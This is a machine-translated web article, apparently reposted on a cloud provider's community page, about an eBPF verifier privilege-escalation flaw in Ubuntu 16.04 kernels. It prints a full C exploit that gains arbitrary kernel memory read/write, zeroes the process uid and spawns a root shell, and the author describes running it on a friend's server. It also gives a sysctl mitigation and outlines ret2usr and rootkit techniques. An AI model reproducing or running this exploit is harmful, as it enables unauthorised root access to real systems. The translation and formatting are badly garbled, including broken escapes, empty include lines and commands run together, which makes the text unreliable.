Fixed the Privilege Escalation Vulnerability in Ubuntu 16.04, explained how to raise the privilege in the memory read/write kernel, ubuntu16.04

Source: Internet
Author: User

Fixed the Privilege Escalation Vulnerability in Ubuntu 16.04, explained how to raise the privilege in the memory read/write kernel, ubuntu16.04
Cause: vulnerability fix overview of a privilege escalation vulnerability in Ubuntu 16.04:

This EXP lies in the eBPF bpf (2) System Call carried by the Linux kernel. When the user provides a malicious BPF program, the eBPF validator module produces a computing error, leading to any memory read/write problems. Non-authorized users can use this vulnerability to gain permission elevation.

Vulnerability Reproduction

I have a lot of Centos servers, and the only Ubuntu server is 4.4.0-117. So I borrowed a server from my friend. It was just 4.3.0. Let's take him as a mouse.

1. First, create a common user named after me

2. Put the exp code I prepared in advance scp to a friend's server

scp upstream44.c root@47.96.181.165:/tmpgcc -o powned upstream44.cpowned

3. View id again

Compare root users

We can see that the permission has been raised successfully!

Vulnerability resolution

1 here we use the bpf module, which can be disabled to prevent vulnerabilities.

# Two methods to modify the kernel bpf parameter #1 echo reasonable parameters such as 1 echo 1>/proc/sys/kernel/unprivileged_bpf_disabled #2 sysctlsysctl-w kernel/unprivileged_bpf_disabled = 1kernel. unprivileged_bpf_disabled = 1
Authorization code
/** Ubuntu 16.04.4 kernel priv esc ** all credits to @ bleidl *-vnik * // Tested on: // 4.4.0-116-generic # 140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 // if different kernel adjust CRED offset + check kernel stack size # include
 
  
# Include
  
   
# Include
   
    
# Include
    
     
# Include
     
      
# Include
      
        # Include
       
         # Include
        
          # Include
         
           # Include
          
            # Include
           
             # Include
            
              # Include
             
               # Include
              
                # Define PHYS_OFFSET 0xffff880000000000 // The address is lower than the user memory, high kernel space # define CRED_OFFSET 0x5f8 # define UID_OFFSET 4 # define LOG_BUF_SIZE 65536 // 64KB 2's 16th power # define PROGSIZE 328int sockets [2]; int mapfd, progfd; char * _ prog = "\ xb4 \ x09 \ x00 \ x00 \ xff" "\ x55 \ x09 \ x02 \ x00 \ xff \ xff "" \ xb7 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 ""\ x18 \ x19 \ x00 \ x00 \ x03 \ x00 \ x00 \ x00 "" \ x00 \ x00 \ x0 0 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x07 \ x02 \ x00 \ x00 \ xfc \ xff "" \ x62 \ x0a \ xfc \ xff \ x00 \ x00 \ x00 \ x00 \ x00 "\ x85 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00" "\ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00" "\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00" "\ x79 \ x06 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00" "\ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x07 \ x02 \ x00 \ x00 \ xfc \ xff \ x Ff \ xff "" \ x62 \ x0a \ xfc \ xff \ x01 \ x00 \ x00 \ x00 "" \ x85 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00" "\ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00" "\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00" "\ x79 \ x07 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x07 \ x02 \ x00 \ x00 \ xfc \ xff "" \ x62 \ x0a \ xfc \ xff \ x02 \ x00 \ x00 \ x00 "" \ x85 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 "" \ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x95 \ x 00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x79 \ x08 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ xbf \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ xb7 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x55 \ x06 \ x03 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x79 \ x73 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x7b \ x32 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x55 \ x06 \ x02 \ x00 \ x01 \ x00 \ x00 \ x00 ""\ x7b \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "" \ x7b \ x87 \ x00 \ x00 \ x00 \ X00 \ x00 \ x00 "" \ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 "; char character [LOG_BUF_SIZE]; static int bpf_prog_load (enum bpf_prog_type prog_type, const struct bpf_insn * insns, int prog_len, const char * license, int kern_version) {union bpf_attr attr = {. prog_type = prog_type ,. insns = (_ u64) insns ,. insn_cnt = prog_len/sizeof (struct bpf_insn ),. license = (_ u64) license ,. log_buf = (_ u64) bpf_log_buf ,. log _ Size = LOG_BUF_SIZE ,. log_level = 1,}; attr. kern_version = kern_version; bytes [0] = 0; return syscall (_ NR_bpf, BPF_PROG_LOAD, & attr, sizeof (attr);} static int bpf_create_map (enum bpf_map_type map_type, int key_size, int value_size, int max_entries) {union bpf_attr attr = {. map_type = map_type ,. key_size = key_size ,. value_size = value_size ,. max_entries = max_entries}; return syscall (_ _ NR_bpf, BPF_MAP_CREATE, & attr, sizeof (attr);} static int bpf_update_elem (uint64_t key, uint64_t value) {union bpf_attr attr = {. map_fd = mapfd ,. key = (_ u64) & key ,. value = (_ u64) & value ,. flags = 0 ,}; return syscall (_ NR_bpf, BPF_MAP_UPDATE_ELEM, & attr, sizeof (attr);} static int bpf_lookup_elem (void * key, void * value) {union bpf_attr attr = {. map_fd = mapfd ,. key = (_ u64) key ,. value = (_ u 64) value ,}; return syscall (_ NR_bpf, BPF_MAP_LOOKUP_ELEM, & attr, sizeof (attr);} static void _ exit (char * err) {fprintf (stderr, "error: % s \ n", err); exit (-1);} static void prep (void) {mapfd = bpf_create_map (BPF_MAP_TYPE_ARRAY, sizeof (int ), sizeof (long), 3); if (mapfd <0) _ exit (strerror (errno); progfd = bpf_prog_load (BPF_PROG_TYPE_SOCKET_FILTER, (struct bpf_insn *) _ prog, PROGSIZE, "GPL ", 0); if (progfd <0) _ exit (strerror (errno); if (socketpair (AF_UNIX, SOCK_DGRAM, 0, sockets )) _ exit (strerror (errno); if (setsockopt (sockets [1], SOL_SOCKET, SO_ATTACH_BPF, & progfd, sizeof (progfd) <0) _ exit (strerror (errno);} static void writemsg (void) {char buffer [64]; ssize_t n = write (sockets [0], buffer, sizeof (buffer); if (n <0) {perror ("write"); return;} if (n! = Sizeof (buffer) fprintf (stderr, "short write: % lu \ n", n) ;}# define _ update_elem (a, B, c) \ bpf_update_elem (0, (a); \ bpf_update_elem (1, (B); \ bpf_update_elem (2, (c); \ writemsg (); static uint64_t get_value (int key) {uint64_t value; if (bpf_lookup_elem (& key, & value) _ exit (strerror (errno); return value ;} static uint64_t _ get_fp (void) {_ update_elem (1, 0, 0); return get_value (2);} static uint 64_t _ read (uint64_t addr) {_ update_elem (0, addr, 0); return get_value (2);} static void _ write (uint64_t addr, uint64_t val) {_ update_elem (2, addr, val);} static uint64_t get_sp (uint64_t addr) {return addr &~ (0x4000-1);} static void pwn (void) {uint64_t fp, sp, task_struct, credptr, uidptr; fp = _ get_fp (); if (fp <PHYS_OFFSET) _ exit ("bogus fp"); sp = get_sp (fp); if (sp <PHYS_OFFSET) _ exit ("bogus sp "); task_struct = _ read (sp); if (task_struct <PHYS_OFFSET) _ exit ("bogus task ptr"); printf ("task_struct = % lx \ n", task_struct ); credptr = _ read (task_struct + CRED_OFFSET); // cred if (credptr <PHYS _ OFFSET) _ exit ("bogus cred ptr"); uidptr = credptr + UID_OFFSET; // uid if (uidptr <PHYS_OFFSET) _ exit ("bogus uid ptr "); printf ("uidptr = % lx \ n", uidptr); _ write (uidptr, 0); // set both uid and gid to 0 if (getuid () = 0) {printf ("spawning root shell \ n"); system ("/bin/bash"); exit (0) ;}_ _ exit ("not vulnerable? ");} Int main (int argc, char ** argv) {prep (); pwn (); return 0 ;}
              
             
            
           
          
         
        
       
      
     
    
   
  
 
Principle of implementing Elevation of Privilege in the memory read/write Kernel

Attackers first implant elevation code in the process user space, and normally point the kernel function pointer to the kernel code in the kernel space. Attackers can exploit the Kernel Vulnerability in any memory mode to modify the function pointer so that the modified Pointer Points to the authorization code of the user space. When the attacker falls into the kernel and executes the modified function, the kernel executes the control flow and directs the code to the user space for permission elevation.

Authorization process diagram

Extended more advanced kernel Elevation of Privilege without permission

There are many methods for Elevation of Privilege. For example, if a kernel-State C program cannot write a broken chain, how can I use it by hackers? I can write a user State test program to find a way to "Overwrite" the data in the broken part of the memory, and then direct the linked list pointer back to fix the linked list. when the kernel module runs the linked list, it will call it normally. At this time, it will execute the malicious data that I overwrite (such as a jmp command ), he will continue to jump to the place where I want him to jump and execute it. In this case, it is also kernel-state execution. What is the concept of kernel-state execution? It ignores all programs and hook the system calls directly, even the uid verification program is ignored (because it depends on system calls )., This trick involves the "linux rootkit" technology. --- Li Ziyun

Keywords

Key words such as drop technique, ret2usr technique, kernel_setsockopt function set_fs bypass, and VDSO

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.